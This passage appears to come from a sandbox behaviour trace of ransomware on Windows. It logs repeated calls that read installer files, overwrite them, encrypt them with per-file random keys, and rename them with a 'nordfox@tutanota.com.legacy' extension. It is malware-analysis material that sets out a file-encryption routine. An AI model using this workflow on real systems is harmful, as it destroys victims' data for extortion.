"c:\\588bce7c90097ed212\\rgb9rast_x86.msi"), lpNewFileName="\\588bce7c90097ed212\\RGB9Rast_x86.msi.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x86.msi.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0071.251] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5519c8 | out: hHeap=0x520000) returned 1 [0071.251] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d920 | out: hHeap=0x520000) returned 1 [0071.251] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d5b0 | out: hHeap=0x520000) returned 1 [0071.251] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d450 [0071.251] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x557758 [0071.251] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d110 [0071.251] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x557758 | out: pbBuffer=0x557758) returned 1 [0071.251] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d110 | out: pbBuffer=0x54d110) returned 1 [0071.251] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\RGB9RAST_x64.msi", dwFileAttributes=0x80) returned 1 [0071.251] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d5b0 [0071.251] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x5519c8 [0071.251] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d5b0 | out: hHeap=0x520000) returned 1 [0071.251] CreateFileW (lpFileName="\\588bce7c90097ed212\\RGB9RAST_x64.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x64.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x454 [0071.252] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=184832) returned 1 [0071.252] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x2d200) returned 0x2e20048 [0071.252] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x2d200) returned 0x57f150 [0071.253] ReadFile (in: hFile=0x454, lpBuffer=0x2e20048, nNumberOfBytesToRead=0x2d200, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e20048*, lpNumberOfBytesRead=0x2e1f9bc*=0x2d200, lpOverlapped=0x0) returned 1 [0071.273] SetFilePointer (in: hFile=0x454, lDistanceToMove=-184832, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.273] WriteFile (in: hFile=0x454, lpBuffer=0x57f150*, nNumberOfBytesToWrite=0x2d200, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x57f150*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2d200, lpOverlapped=0x0) returned 1 [0071.274] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20048 | out: hHeap=0x520000) returned 1 [0071.276] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57f150 | out: hHeap=0x520000) returned 1 [0071.276] SetFilePointer (in: hFile=0x454, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2d200 [0071.277] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0071.277] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x557758*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x557758*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0071.280] WriteFile (in: hFile=0x454, lpBuffer=0x557758*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x557758*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0071.281] WriteFile (in: hFile=0x454, lpBuffer=0x54d110*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d110*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0071.281] CloseHandle (hObject=0x454) returned 1 [0071.289] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x557758 | out: hHeap=0x520000) returned 1 [0071.289] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d110 | out: hHeap=0x520000) returned 1 [0071.289] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\RGB9RAST_x64.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x64.msi"), lpNewFileName="\\588bce7c90097ed212\\RGB9RAST_x64.msi.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x64.msi.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0071.291] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5519c8 | out: hHeap=0x520000) returned 1 [0071.291] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d450 | out: hHeap=0x520000) returned 1 [0071.291] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d6b8 | out: hHeap=0x520000) returned 1 [0071.291] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d6b8 [0071.291] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x557758 [0071.291] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d110 [0071.291] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x557758 | out: pbBuffer=0x557758) returned 1 [0071.291] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d110 | out: pbBuffer=0x54d110) returned 1 [0071.291] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\ParameterInfo.xml", dwFileAttributes=0x80) returned 1 [0071.291] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d978 [0071.291] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x5519c8 [0071.291] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d978 | out: hHeap=0x520000) returned 1 [0071.292] CreateFileW (lpFileName="\\588bce7c90097ed212\\ParameterInfo.xml" (normalized: "c:\\588bce7c90097ed212\\parameterinfo.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x454 [0071.292] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=272046) returned 1 [0071.292] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x426ae) returned 0x2e20048 [0071.293] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x426ae) returned 0x57f150 [0071.295] ReadFile (in: hFile=0x454, lpBuffer=0x2e20048, nNumberOfBytesToRead=0x426ae, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e20048*, lpNumberOfBytesRead=0x2e1f9bc*=0x426ae, lpOverlapped=0x0) returned 1 [0071.314] SetFilePointer (in: hFile=0x454, lDistanceToMove=-272046, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.314] WriteFile (in: hFile=0x454, lpBuffer=0x57f150*, nNumberOfBytesToWrite=0x426ae, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x57f150*, lpNumberOfBytesWritten=0x2e1f9bc*=0x426ae, lpOverlapped=0x0) returned 1 [0071.315] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20048 | out: hHeap=0x520000) returned 1 [0071.315] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57f150 | out: hHeap=0x520000) returned 1 [0071.315] SetFilePointer (in: hFile=0x454, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x426ae [0071.315] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0071.315] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x557758*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x557758*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0071.319] WriteFile (in: hFile=0x454, lpBuffer=0x557758*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x557758*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0071.319] WriteFile (in: hFile=0x454, lpBuffer=0x54d110*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d110*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0071.319] CloseHandle (hObject=0x454) returned 1 [0071.329] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x557758 | out: hHeap=0x520000) returned 1 [0071.329] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d110 | out: hHeap=0x520000) returned 1 [0071.329] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\ParameterInfo.xml" (normalized: "c:\\588bce7c90097ed212\\parameterinfo.xml"), lpNewFileName="\\588bce7c90097ed212\\ParameterInfo.xml.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\588bce7c90097ed212\\parameterinfo.xml.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0071.331] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5519c8 | out: hHeap=0x520000) returned 1 [0071.331] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d6b8 | out: hHeap=0x520000) returned 1 [0071.331] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56da28 | out: hHeap=0x520000) returned 1 [0071.331] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x5567e0 [0071.331] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x557758 [0071.331] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d0e0 [0071.331] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x557758 | out: pbBuffer=0x557758) returned 1 [0071.331] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d0e0 | out: pbBuffer=0x54d0e0) returned 1 [0071.331] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\netfx_Extended_x86.msi", dwFileAttributes=0x80) returned 1 [0071.334] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x5565d8 [0071.334] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x553500 [0071.334] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5565d8 | out: hHeap=0x520000) returned 1 [0071.334] CreateFileW (lpFileName="\\588bce7c90097ed212\\netfx_Extended_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x86.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x454 [0071.334] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=495616) returned 1 [0071.334] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x79000) returned 0x2e20048 [0071.337] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x79000) returned 0x2f20048 [0071.339] ReadFile (in: hFile=0x454, lpBuffer=0x2e20048, nNumberOfBytesToRead=0x79000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e20048*, lpNumberOfBytesRead=0x2e1f9bc*=0x79000, lpOverlapped=0x0) returned 1 [0072.037] SetFilePointer (in: hFile=0x454, lDistanceToMove=-495616, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.037] WriteFile (in: hFile=0x454, lpBuffer=0x2f20048*, nNumberOfBytesToWrite=0x79000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2f20048*, lpNumberOfBytesWritten=0x2e1f9bc*=0x79000, lpOverlapped=0x0) returned 1 [0072.039] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20048 | out: hHeap=0x520000) returned 1 [0072.043] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f20048 | out: hHeap=0x520000) returned 1 [0072.043] SetFilePointer (in: hFile=0x454, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x79000 [0072.043] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0072.043] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x557758*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x557758*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0072.049] WriteFile (in: hFile=0x454, lpBuffer=0x557758*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x557758*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0072.049] WriteFile (in: hFile=0x454, lpBuffer=0x54d0e0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d0e0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0072.049] CloseHandle (hObject=0x454) returned 1 [0072.059] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x557758 | out: hHeap=0x520000) returned 1 [0072.059] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d0e0 | out: hHeap=0x520000) returned 1 [0072.059] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\netfx_Extended_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x86.msi"), lpNewFileName="\\588bce7c90097ed212\\netfx_Extended_x86.msi.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x86.msi.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0072.062] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553500 | out: hHeap=0x520000) returned 1 [0072.062] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5567e0 | out: hHeap=0x520000) returned 1 [0072.062] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556980 | out: hHeap=0x520000) returned 1 [0072.062] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556640 [0072.062] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x557758 [0072.062] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d190 [0072.062] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x557758 | out: pbBuffer=0x557758) returned 1 [0072.062] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d190 | out: pbBuffer=0x54d190) returned 1 [0072.062] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\netfx_Extended_x64.msi", dwFileAttributes=0x80) returned 1 [0072.062] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556918 [0072.062] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x553500 [0072.062] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556918 | out: hHeap=0x520000) returned 1 [0072.062] CreateFileW (lpFileName="\\588bce7c90097ed212\\netfx_Extended_x64.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x64.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x454 [0072.063] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=872448) returned 1 [0072.063] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xd5000) returned 0x3124020 [0072.065] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xd5000) returned 0x320d020 [0072.068] ReadFile (in: hFile=0x454, lpBuffer=0x3124020, nNumberOfBytesToRead=0xd5000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3124020*, lpNumberOfBytesRead=0x2e1f9bc*=0xd5000, lpOverlapped=0x0) returned 1 [0072.148] SetFilePointer (in: hFile=0x454, lDistanceToMove=-872448, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.148] WriteFile (in: hFile=0x454, lpBuffer=0x320d020*, nNumberOfBytesToWrite=0xd5000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x320d020*, lpNumberOfBytesWritten=0x2e1f9bc*=0xd5000, lpOverlapped=0x0) returned 1 [0072.151] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x3124020 | out: hHeap=0x520000) returned 1 [0072.165] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x320d020 | out: hHeap=0x520000) returned 1 [0072.170] SetFilePointer (in: hFile=0x454, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xd5000 [0072.170] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0072.170] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x557758*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x557758*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0072.172] WriteFile (in: hFile=0x454, lpBuffer=0x557758*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x557758*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0072.172] WriteFile (in: hFile=0x454, lpBuffer=0x54d190*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d190*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0072.172] CloseHandle (hObject=0x454) returned 1 [0072.188] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x557758 | out: hHeap=0x520000) returned 1 [0072.188] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d190 | out: hHeap=0x520000) returned 1 [0072.189] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\netfx_Extended_x64.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x64.msi"), lpNewFileName="\\588bce7c90097ed212\\netfx_Extended_x64.msi.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x64.msi.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0072.190] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553500 | out: hHeap=0x520000) returned 1 [0072.190] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556640 | out: hHeap=0x520000) returned 1 [0072.190] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556848 | out: hHeap=0x520000) returned 1 [0072.190] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d348 [0072.190] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x557758 [0072.190] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d190 [0072.190] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x557758 | out: pbBuffer=0x557758) returned 1 [0072.190] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d190 | out: pbBuffer=0x54d190) returned 1 [0072.191] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\netfx_Extended.mzz", dwFileAttributes=0x80) returned 1 [0072.191] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d088 [0072.191] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x553500 [0072.191] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d088 | out: hHeap=0x520000) returned 1 [0072.191] CreateFileW (lpFileName="\\588bce7c90097ed212\\netfx_Extended.mzz" (normalized: "c:\\588bce7c90097ed212\\netfx_extended.mzz"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x454 [0072.191] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=43131591) returned 1 [0072.191] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x29222c7) returned 0x312d020 [0072.298] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x29222c7) returned 0x5a6a020 [0072.406] ReadFile (in: hFile=0x454, lpBuffer=0x312d020, nNumberOfBytesToRead=0x29222c7, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x312d020*, lpNumberOfBytesRead=0x2e1f9bc*=0x29222c7, lpOverlapped=0x0) returned 1 [0076.017] SetFilePointer (in: hFile=0x454, lDistanceToMove=-43131591, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.017] WriteFile (in: hFile=0x454, lpBuffer=0x5a6a020*, nNumberOfBytesToWrite=0x29222c7, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5a6a020*, lpNumberOfBytesWritten=0x2e1f9bc*=0x29222c7, lpOverlapped=0x0) returned 1 [0078.120] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x312d020 | out: hHeap=0x520000) returned 1 [0078.353] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a6a020 | out: hHeap=0x520000) returned 1 [0078.560] SetFilePointer (in: hFile=0x454, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x29222c7 [0078.560] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0078.560] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x557758*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x557758*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0078.562] WriteFile (in: hFile=0x454, lpBuffer=0x557758*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x557758*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0078.562] WriteFile (in: hFile=0x454, lpBuffer=0x54d190*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d190*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0078.562] CloseHandle (hObject=0x454) returned 1 [0078.892] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x557758 | out: hHeap=0x520000) returned 1 [0078.892] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d190 | out: hHeap=0x520000) returned 1 [0078.892] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\netfx_Extended.mzz" (normalized: "c:\\588bce7c90097ed212\\netfx_extended.mzz"), lpNewFileName="\\588bce7c90097ed212\\netfx_Extended.mzz.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\588bce7c90097ed212\\netfx_extended.mzz.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0078.897] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553500 | out: hHeap=0x520000) returned 1 [0078.897] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d348 | out: hHeap=0x520000) returned 1 [0078.897] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56cfd8 | out: hHeap=0x520000) returned 1 [0078.897] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d450 [0078.898] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x557758 [0078.898] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d240 [0078.898] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x557758 | out: pbBuffer=0x557758) returned 1 [0078.898] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d240 | out: pbBuffer=0x54d240) returned 1 [0078.898] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\netfx_Core_x86.msi", dwFileAttributes=0x80) returned 1 [0078.905] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d608 [0078.906] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x2e20f20 [0078.906] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d608 | out: hHeap=0x520000) returned 1 [0078.907] CreateFileW (lpFileName="\\588bce7c90097ed212\\netfx_Core_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x86.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x454 [0078.909] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=1163264) returned 1 [0078.910] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11c000) returned 0x312a020 [0079.011] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11c000) returned 0x3257020 [0079.014] ReadFile (in: hFile=0x454, lpBuffer=0x312a020, nNumberOfBytesToRead=0x11c000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x312a020*, lpNumberOfBytesRead=0x2e1f9bc*=0x11c000, lpOverlapped=0x0) returned 1 [0079.109] SetFilePointer (in: hFile=0x454, lDistanceToMove=-1163264, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.109] WriteFile (in: hFile=0x454, lpBuffer=0x3257020*, nNumberOfBytesToWrite=0x11c000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3257020*, lpNumberOfBytesWritten=0x2e1f9bc*=0x11c000, lpOverlapped=0x0) returned 1 [0079.115] HeapFree (in: 